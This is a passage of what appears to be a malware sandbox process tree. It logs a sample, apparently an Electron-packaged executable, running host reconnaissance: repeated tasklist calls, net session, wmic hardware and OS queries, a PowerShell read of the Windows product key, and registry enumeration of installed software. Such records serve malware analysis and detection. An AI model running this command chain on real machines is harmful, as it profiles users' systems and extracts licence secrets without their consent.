    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5480
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5492
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5504
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5516
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5536
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5556
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:9032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5576
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5592
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5600
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5624
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5668
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5684
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5716
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5736
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5748
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5772
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5804
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:9228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5816
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5832
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5856
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5868
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5888
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5904
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5912
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5920
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5928
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5948
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5964
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:9084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5976
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5996
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6016
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6036
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6060
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:6084
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8640
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:9512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\resources\app.asar.unpacked\bind\main.exe"
    3⤵
    PID:6104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
    3⤵
    PID:6128
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:8728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption, osarchitecture | more +1"
    3⤵
    PID:1540
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic OS get caption, osarchitecture
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:8772
  - - C:\Windows\system32\more.com
      more +1
      4⤵
      PID:9024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name | more +1"
    3⤵
    PID:11920
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get name
      4⤵
      PID:11960
  - - C:\Windows\system32\more.com
      more +1
      4⤵
      PID:11968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController get name | more +1"
    3⤵
    PID:12020
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:12064
  - - C:\Windows\system32\more.com
      more +1
      4⤵
      PID:12072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:12116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:12156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion' -Name ProductName"
    3⤵
    PID:3008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion' -Name ProductName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:11540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:7708
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:11992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=NaN get ExecutablePath"
    3⤵
    PID:11912
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where processid=NaN get ExecutablePath
      4⤵
      PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:10308
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:9024
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
      4⤵
      PID:11100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:11092
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
      4⤵
      PID:4184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip""
    3⤵
    PID:3120
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip"
      4⤵
      PID:2980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook""
    3⤵
    PID:3660
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook"
      4⤵
      PID:8188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager""
    3⤵
    PID:5188
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager"
      4⤵
      PID:2816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx""
    3⤵
    PID:12076
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx"
      4⤵
      PID:6372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime""
    3⤵
    PID:10960
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime"
      4⤵
      PID:10156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore""
    3⤵
    PID:9264
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore"
      4⤵
      PID:8204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40""
    3⤵
    PID:12084
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40"
      4⤵
      PID:3784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data""
    3⤵
    PID:12024
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data"
      4⤵
      PID:9500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX""
    3⤵
    PID:5768
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:912
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX"
      4⤵
      PID:9556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData""
    3⤵
    PID:656
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:12020
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData"
      4⤵
      PID:8996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack""
    3⤵
    PID:5860
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:8992
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack"
      4⤵
      PID:4828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 105.0.3 (x64 en-US)""
    3⤵
    PID:12036
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 105.0.3 (x64 en-US)"
      4⤵
      PID:3140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService""
    3⤵
    PID:9080
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService"
      4⤵
      PID:8692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2""
    3⤵
    PID:11920
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2"
      4⤵
      PID:11928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us""
    3⤵
    PID:11940
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us"
      4⤵
      PID:12044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent""
    3⤵
    PID:10272
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent"
      4⤵
      PID:6940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player""
    3⤵
    PID:8352
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player"
      4⤵
      PID:10444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC""
    3⤵
    PID:12244
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5904
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC"
      4⤵
      PID:6476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{113C0ADC-B9BD-4F95-9653-4F5BC540ED03}""
    3⤵
    PID:5548
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{113C0ADC-B9BD-4F95-9653-4F5BC540ED03}"
      4⤵
      PID:456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}""
    3⤵
    PID:12220
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}"
      4⤵
      PID:10976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3544B2EE-E62F-4D11-B79C-3DDEACE94DA5}""
    3⤵
    PID:2460
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3544B2EE-E62F-4D11-B79C-3DDEACE94DA5}"
      4⤵
      PID:6412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}""
    3⤵
    PID:7524
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"
      4⤵
      PID:7732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A706840-2882-423C-90EB-B31545E2BC7A}""
    3⤵
    PID:6164
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A706840-2882-423C-90EB-B31545E2BC7A}"
      4⤵
      PID:8608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}""
    3⤵
    PID:8708
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}"
      4⤵
      PID:5792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}""
    3⤵
    PID:7360
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}"
      4⤵
      PID:5348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}""
    3⤵
    PID:5896
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}"
      4⤵
      PID:6136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}""
    3⤵
    PID:7104
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}"
      4⤵
      PID:9932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}""
    3⤵
    PID:8664
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}"
      4⤵
      PID:4032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76DEEAB3-122F-4231-83C7-0C35363D02F9}""
    3⤵
    PID:10232
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76DEEAB3-122F-4231-83C7-0C35363D02F9}"
      4⤵
      PID:5180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}""
    3⤵
    PID:5676
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}"
      4⤵
      PID:7868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}""
    3⤵
    PID:7200
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}"
      4⤵
      PID:7668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}""
    3⤵
    PID:4220
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}"
      4⤵
      PID:9428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}""
    3⤵
    PID:5260
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}"
      4⤵
      PID:7980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AE86D888-1404-47CC-A7BB-8D86C0503E58}""
    3⤵
    PID:6876
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AE86D888-1404-47CC-A7BB-8D86C0503E58}"
      4⤵
      PID:10532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7141A99-592B-4226-A4E9-B767C1D0FBAF}""
    3⤵
    PID:8832
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7141A99-592B-4226-A4E9-B767C1D0FBAF}"
      4⤵
      PID:7052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}""
    3⤵
    PID:7192
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}"
      4⤵
      PID:9064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}""
    3⤵
